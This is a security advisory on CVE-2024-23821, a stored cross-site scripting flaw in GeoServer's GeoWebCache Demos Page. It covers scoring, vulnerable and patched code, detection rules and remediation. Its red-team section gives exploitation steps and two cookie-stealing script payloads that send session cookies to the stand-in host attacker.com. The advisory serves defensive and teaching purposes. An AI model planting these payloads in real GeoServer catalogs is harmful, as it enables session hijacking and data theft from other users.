CVE-2024-23821

Executive Summary

CVE-2024-23821 is a stored cross-site scripting (XSS) vulnerability in GeoServer, an open-source Java-based server for sharing and editing geospatial data. The flaw exists in versions prior to 2.23.4 and 2.24.1, specifically within the GeoWebCache (GWC) Demos Page. An authenticated administrator with workspace-level privileges can inject a malicious JavaScript payload into the GeoServer catalog. When another user views the GWC Demos Page, the payload executes in their browser context. While the CVSS score is 4.8 (Medium), the attack requires authenticated access and user interaction, but the stored nature of the XSS increases its potential impact for targeted attacks against GeoServer instances.

Supply Chain & Package Security

GeoServer is a Java-based application distributed as a WAR file or via Docker images. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Organizations should verify the integrity of their GeoServer distribution and ensure they are using official sources.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): High (H) – The attacker must be an authenticated administrator with workspace-level privileges.
• User Interaction (UI): Required (R) – The victim must view the GWC Demos Page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the original security scope.
• Confidentiality (C): Low (L) – Limited information disclosure is possible.
• Integrity (I): Low (L) – Limited modification of data is possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authenticated admin access reduces the attack surface, but the stored XSS can be used for persistent attacks against other users, including potential session hijacking or data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the GeoWebCache (GWC) Demos Page, which is accessible to all users (though data security may limit some). The GWC Demos Page displays cached tile layers and their metadata. An authenticated administrator with workspace-level privileges can modify the catalog metadata (e.g., layer names, descriptions, or other user-controlled fields) to include a JavaScript payload. When the GWC Demos Page renders this metadata, it fails to properly sanitize the input, allowing the script to execute in the browser of any user viewing the page.

The attack flow:

1. Attacker (authenticated admin) crafts a malicious payload (e.g., <script>alert('XSS')</script>) and injects it into a workspace-level catalog entry (e.g., a layer name or description).
2. The payload is stored in the GeoServer catalog database.
3. A victim user navigates to the GWC Demos Page (e.g., /geoserver/gwc/demo).
4. The page retrieves and renders the catalog data without proper output encoding.
5. The victim's browser executes the JavaScript payload.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The patch in versions 2.23.4 and 2.24.1 adds proper HTML encoding to user-controlled fields displayed on the GWC Demos Page.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.23.4/2.24.1): In the GWC Demos Page JSP or Java code, user-controlled metadata (e.g., layer name) is directly rendered without sanitization.

// Vulnerable: Direct output without encoding
out.println("<td>" + layer.getName() + "</td>");

Patched Code (2.23.4/2.24.1): The patch applies HTML entity encoding to all user-controlled fields.

// Patched: Output encoded
out.println("<td>" + StringEscapeUtils.escapeHtml4(layer.getName()) + "</td>");

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a GeoServer instance (version < 2.23.4 or < 2.24.1).
• Authenticated admin account with workspace-level privileges.
• Knowledge of the GWC Demos Page URL (typically /geoserver/gwc/demo).

Exploitation Steps:

1. Log in to GeoServer as an admin.
2. Navigate to a workspace and edit a layer's metadata (e.g., the layer name or description).
3. Inject a JavaScript payload, such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the changes.
5. Send a link to the GWC Demos Page to a victim user (e.g., http://target/geoserver/gwc/demo).
6. When the victim views the page, the payload executes, exfiltrating their session cookie.

Example Payload for Session Hijacking:

<script>
var img = new Image();
img.src = 'https://attacker.com/log?cookie=' + encodeURIComponent(document.cookie);
</script>

Blue Team (Detection & Defense)

Detection:

• Monitor GeoServer logs for unusual modifications to workspace metadata (e.g., layer names containing <script> tags).
• Use web application firewall (WAF) rules to block XSS payloads in POST requests to GeoServer admin endpoints.
• Deploy client-side XSS detection (e.g., Content Security Policy headers).

Defense:

• Immediately upgrade to GeoServer 2.23.4 or 2.24.1.
• Restrict admin access to trusted users only.
• Implement strict input validation and output encoding for all user-controlled data.
• Use a WAF to filter malicious input.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from GeoServer users' browsers.
  • Suspicious POST requests to GeoServer admin endpoints containing <script> tags.
• File IOCs:
  • Modified catalog entries in the GeoServer data directory (e.g., geoserver_data/gwc/ or database entries) containing JavaScript.
• Log IOCs:
  • GeoServer logs showing unusual layer name or description changes.
  • Web server logs showing requests to /geoserver/gwc/demo with encoded payloads in referrer or user-agent.

Detection Engineering

YARA Rule

rule CVE_2024_23821_GeoServer_XSS {
    meta:
        description = "Detects stored XSS payloads in GeoServer catalog files"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-23821"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $geo_catalog = /<layer[^>]*>.*?<\/layer>/is
    condition:
        $xss_payload and $geo_catalog
}

Sigma Rule

title: GeoServer Stored XSS via GWC Demos Page
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in GeoServer catalog modifications
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/geoserver/rest/'
        cs-uri-query|contains: 'layers'
        cs-uri-query|contains: 'workspaces'
        cs-body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin modifications with script tags (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-23821 GeoServer Stored XSS Payload Exfiltration"; flow:to_server,established; content:"/geoserver/gwc/demo"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade GeoServer to version 2.23.4 or 2.24.1 immediately.
2. Workaround: If patching is not possible, restrict access to the GWC Demos Page using network controls or authentication (e.g., require admin role for /geoserver/gwc/demo).
3. Input Validation: Implement strict input validation on all workspace metadata fields to reject HTML/JavaScript.

Long-Term Measures:

• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Conduct regular security audits of GeoServer configurations.
• Monitor for unusual activity in GeoServer logs.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert